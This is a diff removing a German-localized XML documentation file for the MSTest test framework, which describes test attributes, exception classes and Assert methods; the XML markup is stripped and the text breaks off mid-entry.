+++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod für die Ausführung. - - - - - Ruft den Namen der Testmethode ab. - - - - - Ruft den Namen der Testklasse ab. - - - - - Ruft den Rückgabetyp der Testmethode ab. - - - - - Ruft die Parameter der Testmethode ab. - - - - - Ruft die methodInfo der Testmethode ab. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Ruft die Testmethode auf. - - - An die Testmethode zu übergebende Argumente (z. B. für datengesteuerte Tests). - - - Das Ergebnis des Testmethodenaufrufs. - - - This call handles asynchronous test methods as well. - - - - - Ruft alle Attribute der Testmethode ab. - - - Gibt an, ob das in der übergeordneten Klasse definierte Attribut gültig ist. - - - Alle Attribute. - - - - - Ruft ein Attribut eines bestimmten Typs ab. - - System.Attribute type. - - Gibt an, ob das in der übergeordneten Klasse definierte Attribut gültig ist. - - - Die Attribute des angegebenen Typs. - - - - - Das Hilfsprogramm. - - - - - Der check-Parameter ungleich null. - - - Der Parameter. - - - Der Parametername. - - - Die Meldung. - - Throws argument null exception when parameter is null. - - - - Der check-Parameter ungleich null oder leer. - - - Der Parameter. - - - Der Parametername. - - - Die Meldung. - - Throws ArgumentException when parameter is null. - - - - Enumeration für die Art des Zugriffs auf Datenzeilen in datengesteuerten Tests. - - - - - Zeilen werden in sequenzieller Reihenfolge zurückgegeben. - - - - - Zeilen werden in zufälliger Reihenfolge zurückgegeben. - - - - - Attribut zum Definieren von Inlinedaten für eine Testmethode. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Das Datenobjekt. - - - - Initialisiert eine neue Instanz der -Klasse, die ein Array aus Argumenten akzeptiert. - - Ein Datenobjekt. - Weitere Daten. - - - - Ruft Daten für den Aufruf der Testmethode ab. - - - - - Ruft den Anzeigenamen in den Testergebnissen für die Anpassung ab. - - - - - Die nicht eindeutige Assert-Ausnahme. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Die InternalTestFailureException-Klasse. Wird zum Angeben eines internen Fehlers für einen Testfall verwendet. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Ausnahmemeldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Ausnahmemeldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Ein Attribut, das angibt, dass eine Ausnahme des angegebenen Typs erwartet wird - - - - - Initialisiert eine neue Instanz der -Klasse mit dem erwarteten Typ - - Der Typ der erwarteten Ausnahme. - - - - Initialisiert eine neue Instanz der-Klasse mit - dem erwarteten Typ und der einzuschließenden Meldung, wenn vom Test keine Ausnahme ausgelöst wurde. - - Der Typ der erwarteten Ausnahme. - - Die Meldung, die in das Testergebnis eingeschlossen werden soll, wenn beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft einen Wert ab, der den Typ der erwarteten Ausnahme angibt. - - - - - Ruft einen Wert ab, der angibt, ob es zulässig ist, dass vom Typ der erwarteten Ausnahme abgeleitete Typen - als erwartet qualifiziert werden. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Überprüft, ob der Typ der vom Komponententest ausgelösten Ausnahme erwartet wird. - - Die vom Komponententest ausgelöste Ausnahme. - - - - Basisklasse für Attribute, die angeben, dass eine Ausnahme aus einem Komponententest erwartet wird. - - - - - Initialisiert eine neue Instanz der -Klasse mit einer standardmäßigen "no-exception"-Meldung. - - - - - Initialisiert eine neue Instanz der -Klasse mit einer 2no-exception"-Meldung - - - Die Meldung, die in das Testergebnis eingeschlossen werden soll, wenn beim Test ein Fehler auftritt, - weil keine Ausnahme ausgelöst wird. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft die standardmäßige Nichtausnahmemeldung ab. - - Der Typname des ExpectedException-Attributs. - Die standardmäßige Nichtausnahmemeldung. - - - - Ermittelt, ob die Annahme erwartet ist. Wenn die Methode zurückkehrt, wird davon ausgegangen, - dass die Annahme erwartet war. Wenn die Methode eine Ausnahme auslöst, - wird davon ausgegangen, dass die Ausnahme nicht erwartet war, und die Meldung - der ausgelösten Ausnahme wird in das Testergebnis eingeschlossen. Die -Klasse wird aus Gründen der - Zweckmäßigkeit bereitgestellt. Wenn verwendet wird und ein Fehler der Assertion auftritt, - wird das Testergebnis auf Inconclusive festgelegt. - - Die vom Komponententest ausgelöste Ausnahme. - - - - Löst die Ausnahme erneut aus, wenn es sich um eine AssertFailedException oder eine AssertInconclusiveException handelt. - - Die Ausnahme, die erneut ausgelöst werden soll, wenn es sich um eine Assertionausnahme handelt. - - - - Diese Klasse unterstützt Benutzer beim Ausführen von Komponententests für Typen, die generische Typen verwenden. - GenericParameterHelper erfüllt einige allgemeine generische Typeinschränkungen, - beispielsweise: - 1. öffentlicher Standardkonstruktor - 2. implementiert allgemeine Schnittstellen: IComparable, IEnumerable - - - - - Initialisiert eine neue Instanz der -Klasse, die - die Einschränkung "newable" in C#-Generika erfüllt. - - - This constructor initializes the Data property to a random value. - - - - - Initialisiert eine neue Instanz der-Klasse, die - die Data-Eigenschaft mit einem vom Benutzer bereitgestellten Wert initialisiert. - - Ein Integerwert - - - - Ruft die Daten ab oder legt sie fest. - - - - - Führt den Wertvergleich für zwei GenericParameterHelper-Objekte aus. - - Das Objekt, mit dem der Vergleich ausgeführt werden soll. - TRUE, wenn das Objekt den gleichen Wert wie "dieses" GenericParameterHelper-Objekt aufweist. - Andernfalls FALSE. - - - - Gibt einen Hashcode für diese Objekt zurück. - - Der Hash. - - - - Vergleicht die Daten der beiden -Objekte. - - Das Objekt, mit dem verglichen werden soll. - - Eine signierte Zahl, die die relativen Werte dieser Instanz und dieses Werts angibt. - - - Thrown when the object passed in is not an instance of . - - - - - Gibt ein IEnumerator-Objekt zurück, dessen Länge aus - der Data-Eigenschaft abgeleitet ist. - - Das IEnumerator-Objekt - - - - Gibt ein GenericParameterHelper-Objekt zurück, das gleich - dem aktuellen Objekt ist. - - Das geklonte Objekt. - - - - Ermöglicht Benutzern das Protokollieren/Schreiben von Ablaufverfolgungen aus Komponententests für die Diagnose. - - - - - Handler für LogMessage. - - Die zu protokollierende Meldung. - - - - Zu überwachendes Ereignis. Wird ausgelöst, wenn der Komponententestwriter eine Meldung schreibt. - Wird hauptsächlich von Adaptern verwendet. - - - - - Vom Testwriter aufzurufende API zum Protokollieren von Meldungen. - - Das Zeichenfolgenformat mit Platzhaltern. - Parameter für Platzhalter. - - - - Das TestCategory-Attribut. Wird zum Angeben der Kategorie eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse und wendet die Kategorie auf den Test an. - - - Die test-Kategorie. - - - - - Ruft die Testkategorien ab, die auf den Test angewendet wurden. - - - - - Die Basisklasse für das Category-Attribut. - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initialisiert eine neue Instanz der -Klasse. - Wendet die Kategorie auf den Test an. Die von TestCategories - zurückgegebenen Zeichenfolgen werden mit dem Befehl "/category" zum Filtern von Tests verwendet. - - - - - Ruft die Testkategorie ab, die auf den Test angewendet wurde. - - - - - Die AssertFailedException-Klasse. Wird zum Angeben eines Fehlers für einen Testfall verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Eine Sammlung von Hilfsklassen zum Testen verschiedener Bedingungen in - Komponententests. Wenn die getestete Bedingung nicht erfüllt wird, wird eine Ausnahme - ausgelöst. - - - - - Ruft die Singleton-Instanz der Assert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - FALSE ist. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - FALSE ist. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Thrown if is true. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist TRUE. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is true. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist TRUE. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is true. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Thrown if is null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is null. - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit 